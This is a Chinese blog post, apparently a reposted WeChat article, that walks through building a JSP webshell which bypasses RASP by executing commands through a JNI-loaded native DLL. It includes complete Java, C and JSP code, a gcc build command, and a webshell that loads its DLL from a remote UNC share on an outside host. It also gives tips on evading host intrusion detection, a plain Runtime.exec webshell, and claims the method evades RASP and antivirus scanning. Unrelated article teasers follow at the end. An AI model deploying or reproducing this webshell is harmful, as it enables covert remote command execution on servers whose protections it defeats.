JNI技术绕过rasp防护实现jsp webshell

Stella981
• 阅读 787

背景

原理

使用

技术要点

实战使用

其他

背景

笔者近日看到了这样一篇文章:那些年我们堵住的洞 – OpenRASP纪实

JNI技术绕过rasp防护实现jsp webshell

想到rasp这类工具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。github地址:https://github.com/nanolikeyou/jniwebshell

原理使用

以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件,jsp是一种特殊的class文件,而jsp经过Tomcat编译class文件,命名遵从test.jsp ->> org.apache.jsp.test_jsp.class,所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。

package org.apache.jsp;public class test_jsp{    class JniClass    {        public native String exec( String string );    }}

cd到编译生成的target/class目录,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,内容为:

/* DO NOT EDIT THIS FILE - it is machine generated */#include <jni.h>/* Header for class org_apache_jsp_test_jsp_JniClass */#ifndef _Included_org_apache_jsp_test_jsp_JniClass#define _Included_org_apache_jsp_test_jsp_JniClass#ifdef __cplusplusextern "C" {#endif/* * Class:     org_apache_jsp_test_jsp_JniClass * Method:    exec * Signature: (Ljava/lang/String;)Ljava/lang/String; */JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec  (JNIEnv *, jobject, jstring);#ifdef __cplusplus}#endif#endif

调用上一步生成头文件,编写有回显的c语言代码

#include "jni.h"#include "org_apache_jsp_test_jsp_JniClass.h"#include <string.h>#include <stdio.h>#include <sys/types.h>#include <unistd.h>#include <stdlib.h>int execmd(const char *cmd, char *result){    char buffer[1024*12];              //定义缓冲区    FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令    if (!pipe)        return 0; //返回0表示运行失败    while (!feof(pipe))    {        if (fgets(buffer, 128, pipe))        { //将管道输出到result中            strcat(result, buffer);        }    }    _pclose(pipe); //关闭管道    return 1;      //返回1表示运行成功}JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr){    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);    char result[1024 * 12] = ""; //定义存放结果的字符串数组    if (1 == execmd(cstr, result))    {       // printf(result);    }    char return_messge[100] = "";    strcat(return_messge, result);    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);    //system();    return cmdresult;}}

使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的

jdk保持一致)

gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include"  -I"c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c-o 1.dll

具体在jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!  class JniClass {    public native String exec(String string);    public JniClass() {      //System.load("/Users/nano/upload/libJniClass.jnilib");      System.load("\\\\8.8.8.8\\classes\\1.dll");    }  }  ;%><%  String cmd  = request.getParameter("cmd");  JniClass jniClass = new JniClass();  String res = jniClass.exec(cmd);%><%=res%>

技术要点

  1. 对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。

  2. 核心的system.load|loadLibrary法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\\\开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。

  3. jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。

  4. 使用system函数执行命令要小心被hids发现。

  5. 该webshell只在tomcat容器上测试过。

实战使用

经测试:jdk1.7+tomcat8.5+windows环境

jdk10+tomcat+Mac

rasp安全防护全开。

rasp安全防护全开。

JNI技术绕过rasp防护实现jsp webshell

JNI技术绕过rasp防护实现jsp webshell

JNI技术绕过rasp防护实现jsp webshell

样本index.jsp为传统的基于Runtime.getRuntime执行命令,

<%@ page import="java.io.*" %><%    try {        String cmd = request.getParameter("cmd");        Process child = Runtime.getRuntime().exec(cmd);        InputStream in = child.getInputStream();        int c;        while ((c = in.read()) != -1) {            out.print((char)c);        }        in.close();        try {            child.waitFor();        } catch (InterruptedException e) {            e.printStackTrace();        }    } catch (IOException e) {        System.err.println(e);    }%>

毫不意外的被rasp记录日志并阻断。JNI技术绕过rasp防护实现jsp webshell

JNI技术绕过rasp防护实现jsp webshell

使用jni突破rasp的jsp来执行shell,成功绕过。

成功绕过。

JNI技术绕过rasp防护实现jsp webshell

使用d盾查杀

JNI技术绕过rasp防护实现jsp webshell

virustotal:

JNI技术绕过rasp防护实现jsp webshell

其他

如果您有其他的思路和建议,欢迎同我交流:)

参考资料

本文分享自微信公众号 - 安全乐观主义(gh_d6239d0bb816)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
为什么mysql不推荐使用雪花ID作为主键
作者:毛辰飞背景在mysql中设计表的时候,mysql官方推荐不要使用uuid或者不连续不重复的雪花id(long形且唯一),而是推荐连续自增的主键id,官方的推荐是auto_increment,那么为什么不建议采用uuid,使用uuid究
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这